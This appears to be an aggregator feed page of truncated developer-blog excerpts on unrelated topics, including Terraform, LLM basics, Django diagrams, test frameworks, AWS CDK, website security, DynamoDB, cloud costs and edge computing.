    Understanding The Terraform Providers Infrastruture as Code(IaC) has changed the way developers and cloud engineers manage and deploy infrastruture. Among all IaC tools, Terraform stands out for its simplicity, flexibility, and multi-cloud capabilities. But behind evrything Terraform does, there is one core component that makes the magic happen: providers. if you're new to Terraform, understading providers is the first major step toward writing reliable and scalable infrastructure code. This blog breaks down what providers are, how they work, why versioning matters, and how to get hands-on with them using AWS as an exmaple. 🚀What are Terraform Providers? A Terraform provider is essentially a plugin that allows Terraform to interact with an external platform such as AWS, Azure, Google Clou…  ( 8 min )
    How LLMs Like ChatGPT Work: A Look Behind the AI Curtain
    The Foundation: What is a Large Language Model? At its heart, a Large Language Model (LLM) is a type of artificial intelligence designed to understand, generate, and interact with human text. The "large" in its name is no exaggeration. These models are built on neural networks containing billions, or even trillions, of parameters. Think of these parameters as the knobs and dials the model can tune to learn the intricate patterns of language. The real breakthrough that enabled modern LLMs like ChatGPT was the invention of the "Transformer" architecture in 2017. Before the Transformer, AI models struggled with understanding long-range context in text. They might forget the beginning of a long paragraph by the time they reached the end. The Transformer's secret weapon is a mechanism called…  ( 9 min )
    Dynamic Log file for each spiders: Scrapy Logging
    To dynamically assign a log file without modifying the settings directly, you need to set up logging outside the immutable settings object. Here's how to fix this: Instead of modifying the LOG_FILE in the immutable settings, directly reconfigure the Python logging module within the spider_opened signal handler. DynamicLogFileExtension import os import datetime import logging from scrapy import signals class DynamicLogFileExtension: @classmethod def from_crawler(cls, crawler): # Instantiate the extension ext = cls() # Connect the spider_opened signal crawler.signals.connect(ext.spider_opened, signal=signals.spider_opened) return ext def spider_opened(self, spider): # Create a logs directory if it doesn't exist log_d…  ( 7 min )
    Zero-Effort ER Diagrams in Django: Auto-Generate Directly From Your Models
    When a Django project starts small, model relationships are easy to understand. ❗ Understanding how models relate becomes harder than reading the source code itself. This is where Entity-Relationship Diagrams (ERDs) become incredibly important. ✔ How models depend on each other Yet many teams never update ERDs after the first version, because manually drawing diagrams in Draw.io / Lucidchart / Figma becomes unmaintainable. 💡 The solution? Generate ER diagrams automatically from Django models — as code or as images — directly from your project. Not only can this live documentation be added to the repo, it can also be generated automatically in CI/CD, ensuring your docs always match your models. Goal Best Format Recommended Tool Auto-generate PNG / SVG diagrams DOT → PNG django-exten…  ( 8 min )
    How to Calculate Returns When Investing Using a SIP Calculator
    A SIP calculator is one of the easiest tools for understanding how much your investments can grow over time. Whether you invest every month through SIP or put in money once through a lumpsum, the calculator shows how your money compounds, how much wealth you can build, and what your final maturity amount may look like. A lot of people assume SIP and mutual funds are the same thing, but SIP is simply a method of investing in mutual funds. You can either invest regularly (SIP) or put everything at once (lumpsum). In both cases, a SIP calculator or mutual fund calculator helps you estimate how your investments will perform in the future. A SIP calculator is a digital tool that tells you how much return you can expect when investing through SIP. You enter three simple inputs: Your SIP amount (…  ( 9 min )
    Opus 4.5 is Here: We’re Loving It
    We've been working with our friends from Anthropic for a while now, and it's finally time to share: Claude Opus 4.5 is launching today. Our team at Kilo Code has been spoiled testing a preview of the latest model from Anthropic. Today, Anthropic officially launches Opus 4.5, and we're making it available immediately in Kilo Code. The most significant change? Opus 4.5 introduces something genuinely new: effort settings. You can now tell the model how hard to think. High effort: Claude takes its time, uses more tokens, delivers maximum intelligence (this is Anthropic's default) Medium effort: The sweet spot for most tasks Low effort: Fast, efficient, and surprisingly capable for straightforward coding tasks Think of it like having three models in one. Need a quick function? Low effort…  ( 8 min )
    How AI Can Help You Learn DevOps Faster – A Mentor’s Guide
    Table of Contents Introduction Why AI Matters in DevOps Learning AI-Powered Learning Strategies 3.1 Interactive Chatbots and AI Mentors 3.2 Intelligent Code Review and Feedback 3.3 Automated Labs and Simulation Environments Step-by-Step AI-Driven DevOps Learning Workflow Real-World Use Case Examples 5.1 CI/CD Pipeline Automation with AI 5.2 AI for Infrastructure as Code (IaC) Troubleshooting Developer Tips for Maximizing AI Learning AI Tools & Libraries to Explore Common Developer Questions Conclusion DevOps is complex. From CI/CD pipelines to monitoring, container orchestration, and cloud infrastructure, mastering DevOps takes time. But what if AI could accelerate your learning curve? This guide provides actionable, technical ways AI can help you learn DevOps faster, with examples…  ( 8 min )
    Master Java substring(): A No-Fluff Guide with Examples & Real-World Use
    Master Java substring(): Your Ultimate Guide to Slicing and Dicing Text Alright, let's talk about one of the first things you genuinely need to know when you're getting your hands dirty with Java: how to work with text. And when it comes to text (or Strings, in Java-speak), one of the most common tasks is extracting a part of it. Want to get the first name from a full name? Parse a date? Extract a domain from a URL? You're going to need the substring() method. It sounds simple, right? But if you've ever been hit with an IndexOutOfBoundsException, you know it can be a bit tricky. So, let's break down Java's substring() method in a way that actually makes sense. No jargon, no fluff—just a clear, practical guide you can use right now. What Exactly is the substring() Method? You tell it wher…  ( 10 min )
    The Smart Home Uprising
    Your dishwasher might soon know more about your electricity bill than you do. As renewable energy transforms the grid and artificial intelligence infiltrates every corner of our lives, a new question emerges: could AI systems eventually decide when you're allowed to run your appliances? The technology already exists to monitor every kilowatt-hour flowing through your home, and the motivation is mounting as wind and solar power create an increasingly unpredictable energy landscape. What starts as helpful optimisation could evolve into something far more controlling—a future where your home's AI becomes less of a servant and more of a digital steward, gently nudging you toward better energy habits, or perhaps not so gently insisting you wait until tomorrow's sunshine to do the washing up. Th…  ( 28 min )
    From RAG to RAO Level 6: How I Evolved Tiramisu Framework into a Multi-Agent System
    Three weeks ago, I published Tiramisu Framework v1.0 — a simple RAG system for marketing consultancy. 🎯 TL;DR ✅ Real multi-agent architecture (not simulated) 🔗 GitHub frameworktiramisu@gmail.com ⚠️ Important Legal Notice ✅ Add your own knowledge base and documents No proprietary content, copyrighted materials, or brand names are included in the distributed package. 📊 The Evolution: v1.0 → v2.0 🧠 What is RAO? (And Why It Matters) Tiramisu v2.0 = Level 6 complete 🏗️ The New Architecture 💻 Code Comparison rag = TiramisuRAG() v2.0 - Intelligent Routing: system = TiramisuMultiAgent() print(result['consultant']) # "Gary" (social media expert) 🎯 Feature 1: Hybrid Supervisor (100% Accuracy) # Layer 1: Keywords (fast, 95% of cases) gary_keywords = ["instagram", "tiktok", "social", "…  ( 19 min )
    Playwright vs Cypress: Solving Real Test Automation Challenges
    Does your test suite feel like it's fighting against you instead of helping? Every QA team faces similar frustrations: flaky tests that pass locally but fail in CI, debugging sessions that take longer than writing the tests, and execution times that slow down releases. The framework you choose directly impacts whether these problems improve or worsen. Let's examine how Playwright and Cypress address common testing challenges differently. The Real Problem: Not All Testing Tools Solve the Same Problems Before diving into features, let's acknowledge the truth: you're not choosing a testing tool because it's popular. You're choosing it because you have specific problems to solve. Common challenges teams face: Tests that randomly fail without code changes Debugging failures that happened in CI…  ( 9 min )
    Le potentiel rôle de Dieu dans notre sort (Pensée libre Pt II)
    Pt I: Read Here Il existe une réalité que beaucoup évitent d’aborder : malgré nos prières, notre humanisme, notre compassion naturelle… le sort général de nos vies ne semble pas toujours refléter nos efforts ou notre foi. Dieu est-Il injuste ? Est-Il silencieux ? Ou n’existe-t-Il tout simplement pas ? Pourtant, dans le même monde, dans les mêmes villes, dans les mêmes familles, on voit aussi des choses impossibles à expliquer autrement que par une force extérieure. Mais le contraste fait mal : Est-ce une injustice ? Est-ce un prix qu’on paie ? Un mystère ? La réincarnation ? Personnellement, je reste convaincu que Dieu existe. “Car mes pensées ne sont pas vos pensées, et mes voies ne sont pas vos voies.” Ésaïe 55:8 Et c’est peut-être là toute la tension : On doit quand même admettre quelque chose : Mais cela révèle aussi une vérité fondamentale : On est là pour quelque chose qui nous dépasse. La Bible dit d’ailleurs : “Tout est permis, mais tout n’est pas utile.” 1 Corinthiens 10:23 Comme pour rappeler que oui, Dieu nous laisse libres, mais que cette liberté s’inscrit dans une histoire plus vaste. Quant à la souffrance… la question reste ouverte. Alors vivons. Parce qu’au final, malgré le silence apparent, “Je suis avec vous tous les jours.” Matthieu 28:20 C’est peut-être ça, notre véritable espoir.  ( 7 min )
    AWS CDK Introduces Mixins: A Major Feature for Flexible Construct Composition (Developer Preview)
    AWS CDK has newly introduced Mixins as a major feature that will become the core of future CDK development, currently available as a Developer Preview. This feature is expected to significantly change how CDK will be used in the future. As of November 2025, Mixins is in Developer Preview. Please be aware that the specification and behavior may change significantly in the future. Mixins is a mechanism for applying composable abstractions to any Construct, regardless of whether it's an L1 or L2 Construct. It was introduced in CDK v2.229.0, but as of November 2025, it is still in Developer Preview. Not all features are fully available yet, and more functionality and improvements are planned to be added in the future. This article explains the overview and usage of Mixins in a more accessible …  ( 12 min )
    Machine Learning With Python: The Most In-Demand Skill for Tech Professionals in 2025
    Machine Learning (ML) has become one of the most influential technologies of our time. Whether it’s understanding customer behavior, automating tasks, or creating intelligent systems, ML is everywhere. And at the heart of this revolution lies Python, the most preferred programming language for machine learning worldwide. Why Machine Learning and Python Go Hand-in-Hand The Benefits of Learning Machine Learning With Python Beginner-Friendly and Clean Syntax Python doesn’t overwhelm learners with complex rules. Instead, its readable structure helps beginners focus on concepts instead of syntax. Powerful Libraries for Machine Learning Python offers a rich ecosystem of ML and data science libraries such as: • NumPy – Numerical data handling • Pandas – Data cleaning, preprocessing • Scikit-learn – Classical machine learning algorithms • TensorFlow & PyTorch – Deep learning • Matplotlib & Seaborn – Data visualization These tools help you build powerful ML models with minimal code. Real-World Application Across Industries Today, organizations use ML for: • Fraud detection • Healthcare diagnostics • Recommendation engines • Customer analytics • Natural language processing • Image recognition • Financial forecasting Learning ML with Python prepares you for opportunities across multiple industries. Why 2025 Is the Best Time to Learn ML With Python How Python Improves the ML Workflow Final Thoughts machine learning with python course in chennai offered by Immek Softech Academy is designed to help you build real-world skills and become job-ready.  ( 7 min )
    Building Real-Time, Scalable, Fault-Tolerant Applications — an Advanced Guide for Developers
    If you’re juggling an assignment online about advanced software engineering or preparing real-world projects for your portfolio, check out this resource: Assignment Online Modern apps — from global chat platforms to live analytics dashboards and multiplayer games — must handle unpredictable traffic, deliver low latency, and survive component failures without downtime. Mastering distributed system design teaches you how to trade consistency for availability, reason about partial failures, and combine multiple technologies into resilient architectures. Employers prize developers who can design systems that continue to work when the network doesn’t. Distribution & Consistency models Event-driven architecture & messaging Microservices & service discovery State management & storage Fault tolera…  ( 8 min )
    POCking AI
    This article reflects my personal experience over 8 months of intensive AI-assisted development across multiple projects. Your mileage may vary, but the principles should translate across languages and frameworks. I was presenting this topic at Moldova DevCon 2025 and i want to share the whole story. This is my journey in pair software development with AI. This is not an advertisement or promo for any of products and any services i'm going to talk about. This is a personal opinion. I'll talk about some challenges and gains that i've encountered during these coding sessions. Eight months ago, I was that developer who rolled his eyes at AI coding tools. "Just fancy autocomplete," I thought. "Real developers don't need assistance." Basically, I didn't want to pay for stuff that I don't believ…  ( 15 min )
    Github dockerfile service using AI - Part 1
    Intro I have been fooling around a lot with ai recently, and I thought I would write something about what I've been doing. There are a few things that I've been doing, and they're all fascinating. Writing average looking code using minimum viable prompts. Getting this average looking code refactored to be a robust service. Generating API documentation - and having Claude fix this code. This is part one of a small series that I have created to walk through the process I went through to get decent code. I had a crazy idea. I thought to myself, let's write something that will go through my git repos and automagially update my dockerfiles so that the dockerfile uses a fixed but more recent version of the base image. Most Dockerfiles have a fixed base image line that looks something like this…  ( 13 min )
    The Gen Z Privilege And The Blind Spot in AI Era
    Late 2022. I still remember the excitement. I pulled my classmate aside, opened my laptop, and typed a prompt into this new thing called ChatGPT. When the text streamed back, eyes widened. It felt like magic. It felt like the future. Back then, my message to everyone was simple "You guys need to try this. It's cool. It's going to change everything." Fast forward to Saturday, November 1 (Late 2025). I was standing in front of 70+ people at the Soedirman Digital School event with Purwokerto Dev. I was still talking about AI. But the message had changed completely. I wasn't there to hype the tools anymore. I was there to talk about the risks. The bias. The cognitive gap. How did I go from a "fanboy" to a "realist"? Here is the story. We need to admit something, as Gen Z, we have a massive pr…  ( 8 min )
    How Multi-Agent Orchestration Reduces Developer Burnout
    Writing clean code rarely causes burnout. The real culprit is the cognitive load of context switching, managing infinite dependencies, and putting out infrastructure fires while trying to ship features. In 2025, 78% of senior engineers report feeling overwhelmed by operational complexity rather than algorithmic challenges. Multi-agent orchestration changes this dynamic by treating AI not just as a chatbot, but as a specialized team. By assigning specific roles—like tester, debugger, and documenter—to autonomous agents, developers regain the focus required for deep work. The role of a software engineer has mutated. It no longer involves just writing functions; it involves wrangling Kubernetes configurations, securing API endpoints, and managing cloud resources. A 2025 State of DevOps report…  ( 11 min )
    Frontend Isn’t “Just UI” Anymore
    For a long time, “frontend” sounded like a thin layer of buttons and CSS on top of the “real” application. Today, that picture is completely broken. Frontend is where product decisions surface, where performance is felt, and where user psychology either works for you or against you. All of that is happening inside a single render cycle. When someone taps a button or loads a page, they are judging not just your design but your product, your engineering, and your understanding of their needs. That is why the biggest upgrade for modern frontend developers is not learning yet another framework. The real shift is learning to think in systems. Frameworks come and go, patterns trend and fade, but a systems mindset compounds across teams, codebases, and entire products. Think in Systems, Not Scree…  ( 9 min )
    THE NETWORK RENAISSANCE
    A Grounded Manifesto for Law-N, CLSI, and the Future of Programmable Signals Post #2 of Law-N | November 2025 Every system we rely on today—cloud computing, mobile networks, 5G towers, routers, satellites, cables, Wi-Fi, API gateways—all of it is built on networking laws invented between 1973 and 1998. TCP/IP v4 (1981): Published as RFC 791 and 793 in September 1981, adopted as the standard for ARPANET on January 1, 1983—the "flag day" when the modern Internet was born12 DNS (1983): Domain Name System introduced HTTP (1991): The protocol that powers the World Wide Web GSM (1991): Global System for Mobile Communications launched 2G (1991): Second-generation cellular networks Modern Internet (1998): IPv4 reached widespread commercial adoption Yet we are living in 2025, running: 6 billion…  ( 30 min )
    Cohesion Is About Knowledge: Why High Cohesion Makes Code Easier to Understand
    We've all heard that "high cohesion" is good. But what does cohesion actually mean? Most definitions focus on the mechanics: "elements that belong together should be grouped together." But this raises the question: how do we know what "belongs together"? The answer lies in understanding cohesion as a knowledge organization principle. Here's a more fundamental way to think about cohesion: Cohesion is about grouping knowledge that changes for the same reason Knowledge that varies together should be grouped together. Knowledge that varies independently should be separated. When you have high cohesion, all the knowledge in a unit changes for one reason—driven by one change driver. When you have low cohesion, the knowledge in a unit changes for multiple independent reasons—driven by different, …  ( 12 min )
    2025 Complete Guide: How to Build End-to-End OCR with HunyuanOCR
    🎯 Key Takeaways (TL;DR) A single 1B multimodal architecture covers detection, recognition, parsing, translation, and more in one unified OCR pipeline. Dual inference paths (vLLM + Transformers) plus well-crafted prompts make rapid production deployment straightforward. In-house benchmarks show consistent gains over traditional OCR and general-purpose VLMs across spotting, document parsing, and information extraction. What Is HunyuanOCR? Why Is HunyuanOCR So Strong? How to Deploy HunyuanOCR Quickly? How to Design Business-Ready Prompts? What Performance Evidence Exists? How Does the Inference Flow Work? FAQ Summary & Action Plan HunyuanOCR is Tencent Hunyuan’s end-to-end OCR-specific vision-language model (VLM). Built on a native multimodal architecture with only 1B parameters, it reach…  ( 9 min )
    CinemaSins: Everything Wrong With KPop Demon Hunters In 16 Minutes Or Less
    CinemaSins drops a 16-minute “Everything Wrong With KPop Demon Hunters” video, poking fun at what a sinning version of that film might sound like—packed with their signature jokes and nitpicks. The description is basically a self-promo, pointing you to Cinemasins.com, their YouTube channels, a poll, Patreon support, and a whole list of writers and social links (Twitter, Instagram, Discord, Reddit, TikTok, even a book). Watch on YouTube  ( 6 min )
    A Practical Guide to Building AI Agents with Java and Spring AI - Part 4 - Add Tools
    In Part 3 of this series, we enhanced our AI agent with domain-specific knowledge through RAG, allowing it to answer questions based on company documents. However, we discovered another critical limitation: when asked about real-time information like weather forecasts or current dates, the agent couldn't provide accurate answers. AI models are trained on historical data with a knowledge cutoff date. They don't have access to real-time information like current weather, today's date, live flight prices, or currency exchange rates. This makes them unable to help with time-sensitive tasks that require up-to-date information. In this post, we'll add tool calling (also known as function calling) to our AI agent, allowing it to access real-time information and take actions by calling external API…  ( 12 min )
    Ruby on Rails AI Development: Accelerating AI Adoption
    The world is shifting towards AI-powered solutions, but there’s more to successful AI adoption than just creating sophisticated models. For businesses, the real question is how to deliver AI products that actually work, scale, and integrate seamlessly with their operations. The good news is that Ruby on Rails is becoming a key tool for AI adoption in businesses. By using Ruby on Rails, companies can quickly turn advanced AI models into useful tools that bring real value to both customers and teams. In this article, we’ll explore why Ruby on Rails AI development is the best choice for companies looking to harness the power of AI, and how it accelerates the transition from AI concept to real business impact. Artificial Intelligence is exciting, but many organizations face challenges in trans…  ( 15 min )
    AI Agent Memory: From Manual Implementation to Mem0 to AWS AgentCORE
    AI Agent Memory: From Manual Implementation to Mem0 to AWS AgentCORE Introduction AI agents need memory to remember past conversations, user preferences, and learned information. Just like humans have different types of memory (short-term, long-term, episodic), AI agents use different memory systems to function effectively. This guide explains memory in simple terms and shows you how to implement it both without external tools (using pure Python) and with external tools (using specialized services). We'll end with a complete end-to-end solution using Mem0 that combines all memory types. Think of AI agent memory like human memory: Memory Type What It Does Simple Example Short-term Memory Remembers current conversation "What did the user just say?" Long-term Memory Reme…  ( 19 min )
    HTML strings vs the DOM API: from a small benchmark to a surprising result
    Which of the following do you think is faster? direct DOM API calls (createElement, appendChild) assigning HTML strings to innerHTML Chances are you'll say the former is faster and most people would agree. Now, critical thinking to the rescue. Is this really, really true? At the end of the day, browsers have been optimised around parsing HTML for decades and writing HTML feels better than the raw DOM API, so... true or not, is is worth it at all? Thought it's time to test assumptions and hypotheses, both in extreme and more realistic scenarios. An extreme scenario is one where you render a view tens of thousands of times on a page. In a realistic scenario, you render a view once. Two simple functions on the scene. One builds the view by hand with createElement, setAttribute, appendChild…  ( 8 min )
    The Dual Mandate of Professionalism Why True Engineers Need External Validation as Much as Internal Skill
    In the high-speed, high-stakes world of modern development, a professional’s worth is measured by two inseparable metrics: the depth of their technical skill and the breadth of their public trust. It is a paradox of the digital age that the very transformation making us better technically (the shift from coder to engineer) must be validated by transparent, human feedback (public review platforms). My name is Simon Leigh, and as the Director of Pure Reputation, I spend my professional life at the intersection of expertise and trust. The two concepts—internal competence and external accountability—must converge, or the foundation of a career, or an organization, will prove fragile. We must understand that our professional value chain starts with a profound mindset shift happening within the …  ( 10 min )
    Generative Simulation Benchmarking for smart agriculture microgrid orchestration with zero-trust governance guarantees
    Generative Simulation Benchmarking for smart agriculture microgrid orchestration with zero-trust governance guarantees It was during a late-night research session analyzing energy consumption patterns in automated vertical farms that I had my breakthrough moment. While studying the complex interplay between renewable energy sources, crop growth algorithms, and security protocols, I realized that traditional simulation approaches were fundamentally inadequate for modeling the dynamic, multi-agent environment of modern smart agriculture microgrids. My exploration of quantum-inspired optimization algorithms revealed that we needed a paradigm shift—one that could generate realistic simulation environments while maintaining ironclad security guarantees. During my investigation of agricultural…  ( 11 min )
    Statistics Day 9: Bootstrapping Made Simple: The Easiest Way to Understand Resampling
    What do you do when your dataset is small, you can’t collect more data, and every conclusion feels unreliable? Most beginners think the only answer is: “Get more data.” They learned how to squeeze hundreds of new datasets out of one tiny dataset— This trick is called Bootstrapping, Let’s break it down in the simplest way possible. What is Resampling? Resampling means: Taking samples from your existing data again and again to learn more about the population. It is used when: Data is small You can’t collect more data You want to estimate accuracy or uncertainty Two main types: Method Meaning Bootstrapping A resampling method where you create many new datasets by sampling with replacement to estimate a statistic’s accuracy and uncertainty. Jackknife A resampling method where yo…  ( 8 min )
    8 Best WordPress Community Plugins for 2025
    Building an online community today is a lot like building a friendly neighborhood, but in the digital world. You need tools that help people connect, share, chat, and engage without friction. WordPress, being as flexible as it is, gives you countless WordPress community plugins to do exactly that. But with so many options out there, how do you pick the right ones? In this guide, I’ll walk you through the 8 best WordPress community plugins for 2025, all in simple language and with honest, human explanations. Think of this as your roadmap to creating a lively and interactive space that people will love to be part of. WordPress community plugins are tools that help you turn your website into an interactive online space where people can connect, communicate, and engage. Think of your website a…  ( 7 min )
    How to Protect Your Site from Cyber Attacks: Website Security Guide 2025
    Quick Answer: Implementing comprehensive website security requires a three-layer defense strategy: foundational protocols (HTTPS, WAF, secure authentication), continuous maintenance (updates, backups, secure hosting), and security-first development practices. According to cybersecurity research, 43% of cyber attacks target small businesses, making proactive security measures critical for all website owners. Why Website Security Matters in 2025 68% of data breaches involve human error or weak authentication systems Average cost of a website breach: $4.45 million (IBM Security Report 2024) Recovery time without proper backups: 7-14 days minimum 1. Foundational Security Protocols: Your First Line of Defense These core measures protect against 85% of common cyber attacks and build immedi…  ( 10 min )
    Preventing Accidental Interchangeability in TypeScript — Branding & the Unique Property Pattern
    TypeScript’s structural type system is convenient and flexible: two types are compatible when their shapes match. That convenience can become a problem when you want different domain concepts (e.g. UserId vs ProductId) to be treated as distinct even though both are plain strings or numbers. This post explains two effective patterns for making types nominal-like in TypeScript: branding (tagged types) and the unique property pattern (using unique symbol). You’ll get practical code, runtime-friendly factories and guards, and guidance about trade-offs and pitfalls. Example of the problem: type UserId = string; type ProductId = string; function getUser(id: UserId) { /* ... */ } const pid: ProductId = "p-123"; getUser(pid); // allowed — but this is probably a bug Because UserId and ProductId …  ( 9 min )
    API Integrations: High-Level Breakdown
    Introduction In modern backend engineering, API integrations are no longer “extra features”, they are the backbone of how systems communicate, automate, and scale. Whether you’re building a fintech product, a logistics platform, a telecom service, or a healthcare system, your application will eventually depend on external APIs for mission-critical operations. The challenge is that most engineers approach integrations as simple HTTP calls. In reality, designing reliable, secure, high-performance integrations requires thinking in terms of architecture, failure modes, resilience, abstraction layers, and long-term maintainability. In this breakdown, I explain API integrations the same way I would coach a backend engineer joining a large-scale engineering team. The goal is to shift your minds…  ( 9 min )
    What Every Programmer Should Know About Memory Part 2
    Why does your pointer not point where you think it does?. In the previous article What Every Programmer Should Know About Memory (Part 1), we covered sections 2 and 3 from the article: What Every Programmer Should Know About Memory by Ulrich Drepper. In this article, we will continue from where we left off and cover section 4 (yes, section 4 only). The previous article explored memory hierarchies from the ground up — how DRAM hardware works, why CPU caches exist, and practical optimization techniques like cache-line awareness and data structure layout. We examined the physical reality behind the "flat array" abstraction and learned why memory access patterns matter for performance. In this article, we continue with section 4 of Ulrich Drepper's paper, diving deep into Virtual Memory — th…  ( 14 min )
    Deploying Microservices (Python+Nodejs) to AWS ECS Fargate Using OpenTofu + Docker Hub + ALB (Complete Step-by-Step Guide)
    Modern applications often consist of multiple microservices running independently. In this guide, we will deploy two microservices (Node.js + Python Flask) to AWS ECS Fargate, automatically: Building Docker images Scanning with Trivy Pushing to Docker Hub Deploying to ECS Fargate with Application Load Balancer Routing paths /users and /orders All using OpenTofu (Terraform alternative). microservices-ecs-tofu/ ├── services/ │ ├── user-service/ │ │ ├── Dockerfile │ │ ├── app.js │ │ ├── package.json │ │ └── node_modules/... │ └── order-service/ │ ├── Dockerfile │ ├── app.py │ └── requirements.txt └── tofu/ ├── ecs.tf ├── iam.tf ├── network.tf ├── main.tf ├── terraform.tfvars ├── variables.tf └── scripts/ └── build_scan_…  ( 9 min )
    Orchestrating Nature: AI-Powered Birdsong Soundscapes by Arvind Sundararajan
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    Google Cloud Powers NATO's AI-Powered Sovereign Cloud Revolution
    In a significant development in the world of cloud computing and artificial intelligence (AI), NATO has announced a multi-million dollar deal with Google Cloud to create an AI-enabled sovereign cloud. This partnership marks a major milestone for both parties, as it enables the integration of cutting-edge technology with security and data sovereignty. A sovereign cloud refers to a cloud computing environment that operates independently from any third-party service providers. It's essentially a cloud infrastructure owned and managed by an organization itself, providing control over data storage and processing. Sovereign clouds are gaining popularity among governments and institutions seeking to maintain data security and compliance with local regulations. The integration of AI technology int…  ( 7 min )
    Outil de Cybersécurité du Jour - Nov 25, 2025
    L'outil de cybersécurité incontournable : Wireshark Introduction Dans le monde connecté d'aujourd'hui, la cybersécurité est une préoccupation majeure pour les entreprises et les particuliers. Les cyberattaques sont de plus en plus sophistiquées et fréquentes, ce qui rend essentiel l'utilisation d'outils de cybersécurité efficaces. Parmi ces outils, Wireshark est un incontournable pour analyser le trafic réseau, détecter les failles de sécurité et garantir la protection des données sensibles. Wireshark est un analyseur de protocole réseau open source qui permet de capturer et d'inspecter le trafic en temps réel. Il est largement utilisé par les professionnels de la sécurité informatique et les administrateurs réseau pour analyser le comportement des réseaux, identifier les a…  ( 7 min )
    Building small web tools to visualize turbo pressure and temperature data from JAC S5 engines.
    Modern Haima engines include advanced electronic throttle control and multi‑point fuel injection systems optimized for low‑speed torque and emission efficiency. In daily repair operations, these systems often show calibration drift after 60,000 km due to sensor hysteresis and aged ignition maps. During the last months at our workshop in Tehran we observed several Haima repair shop units with inconsistent idle speed caused by slight mismatch between IAC stepper control and ECU baseline airflow table. Many technicians replace actuators before examining the adaptive fuel trims. But on Haima engines, the real issue often lies in the temporal alignment between throttle opening rate and manifold pressure transient. Using only an OBD snapshot isn’t enough — data logging under dynamic load (i.e., simulated hill climb) gives more reliable insights. The most stable correction we found was clearing the long‑term fuel trim (LTFT) values, running the idle learning cycle, and re‑mapping the ignition advance using a scanner that supports GDI adaptive tables. This can recover up to 5–8 % of lost efficiency. From a thermal standpoint, Haima’s radiator core is small relative to engine bay volume, which increases localized heat stress at the throttle body zone. Regular coolant replacement with G12++ improves the actuator’s life‑cycle notably. ⚙️ Engineering note: ECU synchronization and thermal equilibrium are inseparable in modern Haima vehicles; diagnostics should always consider both software behavior and heat‑transfer equilibrium rather than component isolation. Written from field observations as part of engine system diagnostics training in Tehran.  ( 6 min )
    No More Click Click Click
    I love programming and after exploring cloud and devops, I was almost giving up but terraform is sparking my interest again. I think I’m one of the few people who actually enjoy a formal introduction to things. Today was my official introduction to Terraform. I explored why Terraform exists, the problems it solves, the old-school way people used to interact with cloud platforms, and why Infrastructure as Code matters in modern engineering. If Terraform or IaC still sound new to you, here’s the simplest update: Infrastructure as Code is a way to create cloud resources using code instead of clicking around dashboards. Terraform is the most popular tool for this, letting you describe the infrastructure you want and then letting Terraform talk to the cloud provider on your behalf. Get started …  ( 7 min )
    PynamoDB Tutorial: Build Production-Ready DynamoDB CRUD APIs in AWS Lambda
    I've been building on AWS for multiple years now, and one of the most repetitive parts I found was writing crude operations for DynamoDB. Every project starts the same: use boto3 to define the table define a big JSON payload JUST to fetch some data from the table copy-and-paste methods from previous projects for all CRUD operations, basically adding boilerplate code That's when I found out about a library called PynamoDB , a lightweight ORM for DynamoDB tables and that changed the way I manipulate table’s data. Welcome to the part two of creating code for a real estate platform where in the first post we went over a pipeline of labeling main parts of the properties and now we're gonna go over Lambdas which are responsible for CRUD operations. The code in this post will be a shortened versi…  ( 13 min )
    The Inevitable Cloud Cost Debt
    If you're an engineer, you've likely been there: you receive an email from the VPE. "Our cloud burn rate is up 15% this quarter. Find the leak." Suddenly, you’re spending a week digging through Cost Explorer when you should be shipping features. This reactive loop is a system failure. The cost of an S3 bucket or an undersized Redis cluster isn't hidden; it's just hidden from the people making the deployment choices (the developers). The Solution: Move Cost Awareness to the Merge Request. Step 1: The Cost Budget Function The trick is to connect that plan to a cost estimator. Tools like Infracost or Terragrunt hooks can parse the plan output and give you a dollar estimate for new/modified resources. What we're looking for: A 'cost_impact_monthly' variable that appears for every single PR modifying infrastructure. Step 2: Implementing the CI/CD Gatekeeper We define two simple rules in our CI pipeline (e.g., GitHub Actions, GitLab CI): Low Impact Threshold (Green Path): If cost_impact_monthly is $100 (or $500, define your risk tolerance), fail the pipeline and require a specific /cost-approved comment from an Engineering Manager (or FinOps role) to proceed. This is the non-obvious shift: The friction is applied only when the financial risk is high. This makes the Engineering Manager the conscious gatekeeper for major spending, while preserving developer flow for minor changes. The Outcome: From Audit to Prevention By treating cloud spend as an observable artifact of the deployment pipeline, we turn a quarterly audit problem into a daily prevention system. Developers become cost-aware by default, and your VPE stops sending those embarrassing emails. You’ve successfully made the cheap way the easiest way to ship  ( 7 min )
    Engineering and DEI
    Background I understand why you might dislike DEI... I understand why some of you might have reservations about DEI. It's partly due to the disruptive actions of some radical minorities. The recent move to abolish DEI in the U.S. is fresh in memory, and there may be engineers who inwardly applauded this decision. In fact, some tech companies have removed mentions of DEI from their websites. From the standpoint of a Knowledge Architect, I must say that DEI is actually crucial for engineers. This is not about accepting the radical actions of a minority. It's a more fundamental and forward-thinking issue. It helps protect you and is especially pertinent, if not essential, for those in roles like engineering managers or staff engineers who have a broader organizational perspective…  ( 10 min )
    ✨ Daily Learning Update – Linux Fundamentals 🐧
    Today I learned Linux fundamentals, and it was a super valuable experience for me as an AWS & DevOps Engineer. 🤗 I understood how Linux is the backbone of most cloud environments, servers, and container systems like Docker & Kubernetes. It provides a secure, stable, and highly customizable platform, making it essential for automation, troubleshooting, and cloud deployment. Learning Linux is definitely boosting my confidence in building efficient cloud and DevOps solutions. 🚀 If you found this helpful, share your thoughts, experiences, or tips in the comments — I’d love to learn from you too! 😊 Linux was created in 1991 by Linus Torvalds as a free and open-source alternative to UNIX. The first Linux kernel was released publicly, allowing global developers to contribute and improve it…  ( 9 min )
    How Edge Computing Enables Real-Time Digital Transformation
    Edge computing is quickly becoming the backbone of real-time digital transformation. In a world where milliseconds matter—from autonomous vehicles making instant decisions to factories predicting equipment failures before they happen—businesses can’t rely solely on centralized cloud systems anymore. They need speed, reliability, and intelligence right at the source of data, and that’s exactly where edge computing steps in. Today’s enterprises are shifting toward real-time digital transformation, where automation, analytics, customer experience, and operational systems must respond instantly. This demand is pushing organizations to adopt edge-driven architectures that keep computation close to users, devices, and machines. Digital transformation used to revolve around cloud adoption. But as…  ( 8 min )
    Azure Storage Mover: How to migrate files from AWS S3 to Azure
